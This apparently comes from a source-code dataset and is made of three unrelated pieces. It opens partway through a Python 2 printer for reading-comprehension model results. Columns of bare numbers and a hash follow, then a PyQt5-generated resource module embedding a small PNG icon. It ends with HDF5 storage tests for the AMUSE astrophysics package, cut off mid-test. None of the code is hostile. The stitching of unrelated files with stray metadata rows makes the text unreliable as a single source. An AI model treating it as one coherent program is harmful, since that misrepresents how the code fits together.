return Back.MAGENTA + s + Back.RESET
def print_example(word2id, context_tokens, qn_tokens, true_ans_start, true_ans_end, pred_ans_start, pred_ans_end, true_answer, pred_answer, f1, em):
"""
Pretty-print the results for one example.
Inputs:
word2id: dictionary mapping word (string) to word id (int)
context_tokens, qn_tokens: lists of strings, no padding.
Note these do *not* contain UNKs.
true_ans_start, true_ans_end, pred_ans_start, pred_ans_end: ints
true_answer, pred_answer: strings
f1: float
em: bool
"""
# Get the length (no padding) of this context
curr_context_len = len(context_tokens)
# Highlight out-of-vocabulary tokens in context_tokens
context_tokens = [w if w in word2id else "_%s_" % w for w in context_tokens]
# Highlight the true answer green.
# If the true answer span isn't in the range of the context_tokens, then this context has been truncated
truncated = False
for loc in range(true_ans_start, true_ans_end+1):
if loc in range(curr_context_len):
context_tokens[loc] = greentext(context_tokens[loc])
else:
truncated = True
# Check that the predicted span is within the range of the context_tokens
assert pred_ans_start in range(curr_context_len)
assert pred_ans_end in range(curr_context_len)
# Highlight the predicted start and end positions
# Note: the model may predict the end position as before the start position, in which case the predicted answer is an empty string.
context_tokens[pred_ans_start] = magentaback(context_tokens[pred_ans_start])
context_tokens[pred_ans_end] = redback(context_tokens[pred_ans_end])
# Print out the context
print "CONTEXT: (%s is true answer, %s is predicted start, %s is predicted end, _underscores_ are unknown tokens). Length: %i" % (greentext("green text"), magentaback("magenta background"), redback("red background"), len(context_tokens))
print " ".join(context_tokens)
# Print out the question, true and predicted answer, F1 and EM score
question = " ".join(qn_tokens)
print yellowtext("{:>20}: {}".format("QUESTION", question))
if truncated:
print redtext("{:>20}: {}".format("TRUE ANSWER", true_answer))
print redtext("{:>22}(True answer was truncated from context)".format(""))
else:
print yellowtext("{:>20}: {}".format("TRUE ANSWER", true_answer))
print yellowtext("{:>20}: {}".format("PREDICTED ANSWER", pred_answer))
print yellowtext("{:>20}: {:4.3f}".format("F1 SCORE ANSWER", f1))
print yellowtext("{:>20}: {}".format("EM SCORE", em))
print ""
def print_example_attn(word2id, context_tokens, qn_tokens, qn_attn, true_ans_start, true_ans_end, pred_ans_start, pred_ans_end, true_answer, pred_answer, f1, em):
"""
Pretty-print the results for one example.
Inputs:
word2id: dictionary mapping word (string) to word id (int)
context_tokens, qn_tokens: lists of strings, no padding.
Note these do *not* contain UNKs.
true_ans_start, true_ans_end, pred_ans_start, pred_ans_end: ints
true_answer, pred_answer: strings
f1: float
em: bool
"""
# Get the length (no padding) of this context
curr_context_len = len(context_tokens)
# Highlight out-of-vocabulary tokens in context_tokens
context_tokens = [w if w in word2id else "_%s_" % w for w in context_tokens]
# Highlight the true answer green.
# If the true answer span isn't in the range of the context_tokens, then this context has been truncated
truncated = False
for loc in range(true_ans_start, true_ans_end+1):
if loc in range(curr_context_len):
context_tokens[loc] = greentext(context_tokens[loc])
else:
truncated = True
# Check that the predicted span is within the range of the context_tokens
assert pred_ans_start in range(curr_context_len)
assert pred_ans_end in range(curr_context_len)
# Highlight the predicted start and end positions
# Note: the model may predict the end position as before the start position, in which case the predicted answer is an empty string.
context_tokens[pred_ans_start] = magentaback(context_tokens[pred_ans_start])
context_tokens[pred_ans_end] = redback(context_tokens[pred_ans_end])
# Print out the context
print "CONTEXT: (%s is true answer, %s is predicted start, %s is predicted end, _underscores_ are unknown tokens). Length: %i" % (greentext("green text"), magentaback("magenta background"), redback("red background"), len(context_tokens))
print " ".join(context_tokens)
# Print out the question, true and predicted answer, F1 and EM score
question = " ".join(qn_tokens)
print yellowtext("{:>20}: {}".format("QUESTION", question))
print " ".join(qn_attn)
if truncated:
print redtext("{:>20}: {}".format("TRUE ANSWER", true_answer))
print redtext("{:>22}(True answer was truncated from context)".format(""))
else:
print yellowtext("{:>20}: {}".format("TRUE ANSWER", true_answer))
print yellowtext("{:>20}: {}".format("PREDICTED ANSWER", pred_answer))
print yellowtext("{:>20}: {:4.3f}".format("F1 SCORE ANSWER", f1))
print yellowtext("{:>20}: {}".format("EM SCORE", em))
print ""
| 42.320513
| 241
| 0.698273
| 944
| 6,602
| 4.725636
| 0.192797
| 0.093253
| 0.0269
| 0.035866
| 0.803631
| 0.791078
| 0.791078
| 0.791078
| 0.791078
| 0.766196
| 0
| 0.010937
| 0.196759
| 6,602
| 156
| 242
| 42.320513
| 0.830285
| 0.269767
| 0
| 0.769231
| 0
| 0.030769
| 0.179209
| 0
| 0
| 0
| 0
| 0
| 0.061538
| 0
| null | null | 0
| 0.030769
| null | null | 0.353846
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
5dfde5c70819d326703278ba41ab8e7097696174
| 3,061
|
py
|
Python
|
varmixviewer/resources.py
|
FlorianTimm/VarMixViewer
|
56ab8e4c9320849f1e5c22eca789302d0f9f4fd4
|
[
"MIT"
] | null | null | null |
varmixviewer/resources.py
|
FlorianTimm/VarMixViewer
|
56ab8e4c9320849f1e5c22eca789302d0f9f4fd4
|
[
"MIT"
] | null | null | null |
varmixviewer/resources.py
|
FlorianTimm/VarMixViewer
|
56ab8e4c9320849f1e5c22eca789302d0f9f4fd4
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.10.1)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\x01\x43\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x18\x00\x00\x00\x18\x08\x06\x00\x00\x00\xe0\x77\x3d\xf8\
\x00\x00\x00\x04\x73\x42\x49\x54\x08\x08\x08\x08\x7c\x08\x64\x88\
\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\x0b\x13\
\x01\x00\x9a\x9c\x18\x00\x00\x00\xe5\x49\x44\x41\x54\x48\x89\xed\
\x94\x3d\x0a\xc2\x40\x10\x46\xdf\x8a\x10\x7f\x0a\x6d\x6d\x3c\x99\
\x78\x03\x2d\xc4\x56\x50\x72\x16\x6d\x6c\x3c\x80\xbd\xd8\xe8\x05\
\x8c\x17\xd0\x0b\x98\xc2\x58\xb8\x91\x75\x65\x36\x1b\x92\x08\x82\
\x03\xcb\x26\xdf\x84\xf7\x92\x09\x89\x02\x12\x2a\xac\x5a\x95\xf0\
\xaf\x08\xea\xd6\xb9\x2a\x89\xfb\x1a\xfb\xef\x8f\x28\x4b\xd0\x02\
\x42\x20\x02\x62\xbd\x2f\x80\x66\x1e\x49\x62\x2c\x1b\xbe\xb7\xfa\
\xe9\xda\x65\x48\xde\x98\x92\x20\x14\xe0\xe9\x9a\x17\x15\x44\x46\
\x3e\x01\x02\x60\x6a\x64\xa7\xa2\x82\xd8\xc8\x03\x9d\x35\x8c\xec\
\xe6\x23\x70\xbd\xe4\xb3\x71\x3c\xd2\xf0\xb1\xd0\x77\x96\xf4\x04\
\x33\xe4\xf9\x27\xba\xef\xc5\x94\x04\x5d\xe0\x2a\xc0\x2f\x40\xa7\
\xa8\x00\x60\x28\x08\x06\x0e\x78\x2e\x01\xc0\xca\xba\x66\xa9\x73\
\x05\x6c\x84\x1b\xc8\x25\x68\x03\x47\xdd\x3f\xf0\xfc\x00\x01\xfa\
\x1e\x70\x2f\x01\x40\x0f\xd8\xea\x3d\x2d\x05\xac\x81\xbb\x4b\xa0\
\x2c\xf0\xff\x77\xfd\x51\xf6\x88\x4a\xaf\xdf\x1f\xd1\x03\xc6\x86\
\x90\x6b\xb5\x81\x04\x79\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\
\x60\x82\
"
qt_resource_name = b"\
\x00\x07\
\x07\x3b\xe0\xb3\
\x00\x70\
\x00\x6c\x00\x75\x00\x67\x00\x69\x00\x6e\x00\x73\
\x00\x0c\
\x06\x5f\x25\xc2\
\x00\x56\
\x00\x61\x00\x72\x00\x4d\x00\x69\x00\x78\x00\x56\x00\x69\x00\x65\x00\x77\x00\x65\x00\x72\
\x00\x08\
\x0a\x61\x5a\xa7\
\x00\x69\
\x00\x63\x00\x6f\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\
"
qt_resource_struct_v1 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\
\x00\x00\x00\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\
\x00\x00\x00\x32\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
"
qt_resource_struct_v2 = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\
\x00\x00\x00\x00\x00\x00\x00\x00\
\x00\x00\x00\x32\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
\x00\x00\x01\x63\x6c\xe7\x75\x7a\
"
qt_version = QtCore.qVersion().split('.')
if qt_version < ['5', '8', '0']:
rcc_version = 1
qt_resource_struct = qt_resource_struct_v1
else:
rcc_version = 2
qt_resource_struct = qt_resource_struct_v2
def qInitResources():
QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| 36.011765
| 103
| 0.724926
| 655
| 3,061
| 3.329771
| 0.345038
| 0.297111
| 0.301238
| 0.225585
| 0.270977
| 0.270977
| 0.240257
| 0.240257
| 0.240257
| 0.240257
| 0
| 0.31317
| 0.054884
| 3,061
| 84
| 104
| 36.440476
| 0.440719
| 0.049657
| 0
| 0.161765
| 0
| 0.455882
| 0.001378
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0.029412
| false
| 0
| 0.014706
| 0
| 0.044118
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5d2015c61f1e185071045e3c490b0b48047f5f0c
| 41,428
|
py
|
Python
|
test/core_tests/test_store.py
|
cgroeneveld/amuse
|
9684fd22ce8293b837d2c78f56948e3ec3d04032
|
[
"Apache-2.0"
] | null | null | null |
test/core_tests/test_store.py
|
cgroeneveld/amuse
|
9684fd22ce8293b837d2c78f56948e3ec3d04032
|
[
"Apache-2.0"
] | null | null | null |
test/core_tests/test_store.py
|
cgroeneveld/amuse
|
9684fd22ce8293b837d2c78f56948e3ec3d04032
|
[
"Apache-2.0"
] | null | null | null |
from amuse.test import amusetest
import os
import numpy
import time
from amuse import io
from amuse.io import store
from amuse.io import store_v1
from amuse.io import store_v2
from amuse.units import units
from amuse.units import nbody_system
from amuse.datamodel import Particles
from amuse.datamodel import ParticlesOverlay
from amuse.datamodel import Grid
from amuse.datamodel import ParticlesSuperset
class _AbstractTestStoreHDF(amusetest.TestCase):
def store_factory(self):
raise NotImplementedError
def store_version(self):
raise NotImplementedError
def get_version_in_store(self, container):
raise NotImplementedError
def test1(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test1."+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
p.model_time = 2.0 | units.s
instance.store(p)
loaded_particles = instance.load()
loaded_mass_in_kg = loaded_particles.mass.value_in(units.kg)
previous_mass_in_kg = p.mass.value_in(units.kg)
for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg):
self.assertEquals(expected, actual)
instance.close()
def test2(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test2."+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
instance.store(p.savepoint(1 | units.Myr))
p.mass = [x * 4.0 for x in range(number_of_particles)] | units.kg
instance.store(p.savepoint(2 | units.Myr))
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = instance.load()
self.assertAlmostRelativeEquals(self.get_version_in_store(loaded_particles).get_timestamp(), 2 | units.Myr)
self.assertAlmostRelativeEquals(self.get_version_in_store(loaded_particles).previous_state().get_timestamp(), 1 | units.Myr)
masses = loaded_particles[1].get_timeline_of_attribute("mass")
self.assertEquals(len(masses), 2)
instance.close()
def test3(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test3"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | nbody_system.mass
instance.store(p.savepoint(1 | nbody_system.time))
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = instance.load()
self.assertAlmostRelativeEquals(p.mass[1], 2.0 | nbody_system.mass)
instance.close()
def test4(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test4"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Particles(10)
particles.mass = 1.0 | units.kg
particles.x = 2.0 | units.m
x = particles.savepoint(2.0 | units.s)
io.write_set_to_file(x,output_file, format='amuse', version = self.store_version())
particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version(), close_file = True)
particles_in_memory = particles_from_file.copy()
self.assertAlmostRelativeEquals(particles_in_memory.mass[1], 1.0 | units.kg)
particles_in_memory.savepoint(4.0 | units.s)
self.assertAlmostRelativeEquals(particles_from_file.mass[2], 1.0 | units.kg)
def test5(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test5_grid"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
shape = 10, 10, 10
p = Grid(*shape)
p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape)
p.model_time = 2.0 | units.s
instance.store_grid(p)
loaded_grid = instance.load_grid()
self.assertEquals(loaded_grid.shape, shape)
loaded_mass_in_kg = loaded_grid.mass.value_in(units.kg)
previous_mass_in_kg = p.mass.value_in(units.kg)
for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg):
self.assertEquals(expected, actual)
instance.close()
def test6(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test6_grid"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
shape = 10, 10, 10
p = Grid(*shape)
p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape)
p.model_time = 2.0 | units.s
instance.store_grid(p.savepoint(1| units.Myr))
loaded_grid = self.get_version_in_store(instance.load_grid())
self.assertAlmostRelativeEquals(loaded_grid.get_timestamp(), 1| units.Myr)
self.assertEquals(loaded_grid.shape, shape)
self.assertEquals(loaded_grid[0][0][0].mass, 0 | units.kg)
self.assertAlmostRelativeEquals(loaded_grid[...,1,1].mass, p[...,1,1].mass)
instance.close()
def test7(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test7"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
p.model_time = 2.0 | units.s
instance.store(p)
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = self.get_version_in_store(instance.load())
loaded_particles.mass = [x * 3.0 for x in range(number_of_particles)] | units.kg
previous_mass_in_kg = [x * 3.0 for x in range(number_of_particles)]
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = instance.load()
loaded_mass_in_kg = loaded_particles.mass.value_in(units.kg)
for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg):
self.assertEquals(expected, actual)
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = self.get_version_in_store(instance.load())
loaded_particles[2].mass = 44 | units.kg
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = self.get_version_in_store(instance.load())
self.assertEquals( 44 | units.kg, loaded_particles[2].mass)
instance.close()
def test8(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test8"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
instance = self.store_factory()(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = numpy.asarray([x * 2.0 for x in range(number_of_particles)])
instance.store(p.savepoint(1 | nbody_system.time))
instance.close()
instance = self.store_factory()(output_file)
loaded_particles = instance.load()
self.assertAlmostRelativeEquals(p.mass[1], 2.0)
instance.close()
def test9(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test9"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
p.model_time = 2.0 | units.s
io.write_set_to_file(
p,
output_file,
"hdf5",
timestamp = 2 | units.Myr,
scale = 1 | units.kg,
version = self.store_version(),
close_file = True
)
loaded_particles = io.read_set_from_file(
output_file,
"hdf5",
version = self.store_version()
)
loaded_particles = self.get_version_in_store(loaded_particles)
a = loaded_particles.collection_attributes
self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr)
self.assertAlmostRelativeEquals(a.scale, 1 | units.kg)
def test10(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test10"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
shape = 10, 10, 10
p = Grid(*shape)
p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape)
p.model_time = 2.0 | units.s
io.write_set_to_file(p, output_file, "hdf5", timestamp = 2 | units.Myr, scale = 1 | units.kg, version = self.store_version())
loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
loaded_particles = self.get_version_in_store(loaded_particles)
a = loaded_particles.collection_attributes
self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr)
self.assertAlmostRelativeEquals(a.scale, 1 | units.kg)
def test11(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test11"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
number_of_particles = 10
p = Particles(number_of_particles)
p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg
p.model_time = 2.0 | units.s
io.write_set_to_file(p.savepoint(timestamp = 2 | units.Myr, scale = 1 | units.kg), output_file, "hdf5", version = self.store_version())
loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
loaded_particles = self.get_version_in_store(loaded_particles)
a = loaded_particles.collection_attributes
self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr)
self.assertAlmostRelativeEquals(a.scale, 1 | units.kg)
def test12(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test12"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
shape = 10, 10, 10
p = Grid(*shape)
p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape)
p.model_time = 2.0 | units.s
io.write_set_to_file(p.savepoint(timestamp = 2 | units.Myr, scale = 1 | units.kg), output_file, "hdf5", version = self.store_version())
loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
loaded_particles = self.get_version_in_store(loaded_particles)
a = loaded_particles.collection_attributes
self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr)
self.assertAlmostRelativeEquals(a.scale, 1 | units.kg)
def test13(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test13"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars.x = 1.0 | units.km
stars.md = [[1,2,3],[4,5,6]] | units.km
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEquals(loaded[0].md, [1,2,3] | units.km)
self.assertEquals(loaded[1].md, [4,5,6] | units.km)
self.assertEquals(loaded.md[0], [1,2,3] | units.km)
self.assertEquals(loaded.md[1], [4,5,6] | units.km)
self.assertEquals(self.get_version_in_store(loaded)[0].md, [1,2,3] | units.km)
#self.assertEquals(self.get_version_in_store(loaded)[0].md, [7,8,9] | units.km)
def test14(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test14"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars.x = 1.0 | units.km
stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]]
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEquals(loaded[0].md, [[1,3],[2,4],[3,5]])
self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]])
self.assertEquals(loaded.md[0], [[1,3],[2,4],[3,5]])
self.assertEquals(loaded.md[1], [[4,6],[5,7],[6,8]])
def test15(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test15"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars.x = 1.0 | units.km
stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]]
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
processor = self.store_factory()(output_file, True, open_for_writing = True)
loaded = processor.load()
self.get_version_in_store(loaded)[0].md = [[3,1],[3,4],[5,2]]
self.assertEquals(self.get_version_in_store(loaded)[0].md, [[3,1],[3,4],[5,2]] )
processor.close()
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEquals(loaded[0].md, [[3,1],[3,4],[5,2]])
self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]])
def test16(self):
import h5py
print h5py.version.version
print h5py
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test16"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
stars[0].nn = stars[1]
stars[1].nn = stars[0]
self.assertEqual(stars[0].nn,stars[1])
self.assertEqual(stars[1].nn,stars[0])
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
processor = self.store_factory()(output_file, True, open_for_writing = True)
loaded = processor.load()
self.assertEqual(loaded[0].nn,loaded[1])
self.assertEqual(loaded[1].nn,loaded[0])
self.assertEqual(loaded[0].nn.key,stars[1].key)
self.assertEqual(loaded[0].nn.x,stars[1].x)
def test17(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test17"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(4)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
stars[2].x = 3.0 | units.km
stars[3].x = 4.0 | units.km
binaries = Particles(2)
binaries[0].y = 1.0 | units.km
binaries[1].y = 2.0 | units.km
binaries[0].child1 = stars[0]
binaries[0].child2 = stars[1]
binaries[1].child1 = stars[2]
binaries[1].child2 = stars[3]
self.assertEqual(binaries[0].child1,stars[0])
self.assertEqual(binaries[1].child1,stars[2])
io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEqual(loaded[0].child1.key,stars[0].key)
self.assertEqual(loaded[1].child1.key,stars[2].key)
def test18(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test18"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
binaries = Particles(1)
binaries[0].y = 1.0 | units.km
binaries[0].child1 = stars[0]
binaries[0].child2 = stars[1]
stars[0].parent = binaries[0]
stars[1].parent = binaries[0]
self.assertEqual(binaries[0].child1,stars[0])
self.assertEqual(binaries[0].child2,stars[1])
self.assertEqual(binaries[0].child1.parent,binaries[0])
self.assertEqual(binaries[0].child2.parent,binaries[0])
io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
self.assertEqual(loaded[0].child1.key,stars[0].key)
self.assertEqual(loaded[0].child2.key,stars[1].key)
self.assertEqual(loaded[0].child1,stars[0])
self.assertEqual(loaded[0].child2,stars[1])
self.assertEqual(loaded[0].child1.parent,loaded[0])
self.assertEqual(loaded[0].child2.parent,loaded[0])
def test19(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test19"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars[0].x = 1.0 | units.km
stars[1].x = 2.0 | units.km
binaries = Particles(1)
binaries[0].y = 1.0 | units.km
binaries[0].child1 = stars[0]
binaries[0].child2 = stars[1]
stars[0].parent = binaries[0]
stars[1].parent = binaries[0]
self.assertEqual(binaries[0].child1,stars[0])
self.assertEqual(binaries[0].child2,stars[1])
self.assertEqual(binaries[0].child1.parent,binaries[0])
self.assertEqual(binaries[0].child2.parent,binaries[0])
io.write_set_to_file([binaries,stars], output_file, "hdf5", names = ['binaries', 'children'], version = self.store_version())
loader_binaries, loaded_stars = io.read_set_from_file(output_file, "hdf5", names = ['binaries', 'children'], version = self.store_version())
self.assertEqual(loader_binaries[0].child1.key,stars[0].key)
self.assertEqual(loader_binaries[0].child2.key,stars[1].key)
self.assertEqual(loader_binaries[0].child1,loaded_stars[0])
self.assertEqual(loader_binaries[0].child2,loaded_stars[1])
self.assertEqual(loader_binaries[0].child1.parent,loader_binaries[0])
self.assertEqual(loader_binaries[0].child2.parent,loader_binaries[0])
def test20(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test20"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
shape = 10, 10, 10
p = Grid(*shape)
p.mass = (numpy.asarray([x * 2.0 for x in range(p.size)])).reshape(shape)
io.write_set_to_file(p, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version())
loaded = self.get_version_in_store(loaded)
self.assertAlmostRelativeEquals(p.mass[0][1][2], 24)
self.assertAlmostRelativeEquals(p[0][1][2].mass, 24)
def test21(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test21"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars.x = 1.0 | units.km
stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]]
io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", close_file = True, version = self.store_version())
self.assertEquals(loaded[0].md, [[1,3],[2,4],[3,5]])
self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]])
previous = loaded.previous_state()
self.assertEquals(previous, None)
def test22(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test22"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
stars = Particles(2)
stars.x = 1.0 | units.km
overlay = ParticlesOverlay(stars)
overlay.y = 2.0 | units.km
io.write_set_to_file(overlay, output_file, "hdf5", version = self.store_version())
loaded = io.read_set_from_file(output_file, "hdf5", close_file = True, version = self.store_version())
self.assertEquals(loaded[0].x, 1.0 | units.km)
self.assertEquals(loaded[1].y, 2.0 | units.km)
def test23(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test23"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Particles()
io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version())
particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version())
self.assertEquals(len(particles_from_file), 0)
def test24(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test24"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Particles(20)
#~ particles = Particles(1000000) # For testing memory usage
particles.mass = 1.0 | units.kg
particles.position = [0.0, 0.0, 0.0] | units.m
for i in range(10):
particles.position += [1.0, 2.0, 3.0] | units.m
io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version())
particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version())
os.remove(output_file)
self.assertEquals(len(list(particles_from_file.history)), 10)
for i, snap in enumerate(particles_from_file.history):
self.assertEquals(len(snap), 20)
self.assertEquals((i+1) * ([1.0, 2.0, 3.0] | units.m), snap.center_of_mass())
def test25(self):
test_results_path = self.get_path_to_results()
output_file = os.path.join(test_results_path, "test25"+self.store_version()+".hdf5")
if os.path.exists(output_file):
os.remove(output_file)
particles = Particles(20)
#~ particles = Particles(1000000) # For testing memory usage
particles.mass = 1.0 | units.kg
particles.position = [0.0, 0.0, 0.0] | units.m
for i in range(10):
particles.position += [1.0, 2.0, 3.0] | units.m
io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version())
